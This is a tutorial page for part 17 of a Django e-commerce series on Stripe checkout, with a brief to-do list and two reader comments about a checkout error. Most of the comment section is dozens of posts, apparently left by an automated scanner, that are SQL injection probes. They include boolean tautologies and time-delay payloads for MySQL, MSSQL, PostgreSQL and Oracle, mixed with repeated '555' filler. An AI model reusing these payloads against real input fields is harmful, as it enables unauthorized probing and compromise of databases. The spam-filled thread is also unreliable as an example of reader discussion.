Stripe Checkout - Django Ecommerce Website - Htmx and Tailwind

In part seventeen of this python/django e-commerce website series, we will make it possible to checkout using Stripe.

Part 17 - Todolist
-Fix decrement to zero items
-Install and set up stripe
-Include public key in the checkout page
-Create view for creating checkout session
-Validate checkout form and implement stripe

Comments

Christian | Nov 09, 22 05:29

Hello Stain, how are you? at the end of this session I got a server Error I could solve, hope you can help with it, I copy and paste your code from your github account but I could not solve it, this is my server error TypeError: Order() got unexpected keyword arguments: 'payment_intent', 'paid_amount' and the catch promise error from the UI is Errors SyntaxError: Unexpected token '<', "<!DOCTYPE "... is not valid JSON

Christian | Nov 09, 22 05:38

here is a video with the problem I mentioned above https://www.loom.com/share/94d91e60b1c94b4bb30f046c07199d3b

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

-1 OR 2+198-198-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:52

-1 OR 2+366-366-1=0+0+0+1

EFSArCBy | Jul 02, 26 08:52

-1' OR 2+777-777-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:52

-1' OR 2+470-470-1=0+0+0+1 or 'DejGKeVS'='

EFSArCBy | Jul 02, 26 08:52

-1" OR 2+652-652-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 08:52

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 08:52

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 08:52

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 08:52

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 08:52

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:52

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:52

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:52

555WAXwU1WH'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 08:52

555-1 OR 398=(SELECT 398 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555-1) OR 799=(SELECT 799 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555-1)) OR 655=(SELECT 655 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555E0ces7bT' OR 859=(SELECT 859 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555bZbpcpqn') OR 869=(SELECT 869 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555FvUpKpeI')) OR 563=(SELECT 563 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 08:52

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 08:52

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555'"

EFSArCBy | Jul 02, 26 08:52

@@y1ZVV

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

-1 OR 2+688-688-1=0+0+0+1 -- | Jul 02, 26 08:52

555

-1 OR 2+756-756-1=0+0+0+1 | Jul 02, 26 08:52

555

-1' OR 2+814-814-1=0+0+0+1 -- | Jul 02, 26 08:52

555

-1' OR 2+65-65-1=0+0+0+1 or 'M96UB3Rz'=' | Jul 02, 26 08:52

555

-1" OR 2+173-173-1=0+0+0+1 -- | Jul 02, 26 08:52

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:52

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:52

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:52

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:52

555

EFSArCBy2HRuwWn1'; waitfor delay '0:0:15' -- | Jul 02, 26 08:52

555

EFSArCByyRsPGfMn' OR 361=(SELECT 361 FROM PG_SLEEP(15))-- | Jul 02, 26 08:52

555

EFSArCByuPFx70Dr') OR 901=(SELECT 901 FROM PG_SLEEP(15))-- | Jul 02, 26 08:52

555

EFSArCByoHS0IZGL')) OR 489=(SELECT 489 FROM PG_SLEEP(15))-- | Jul 02, 26 08:52

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy'" | Jul 02, 26 08:52

555

@@5OgqZ | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

EFSArCBy | Jul 02, 26 08:52

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.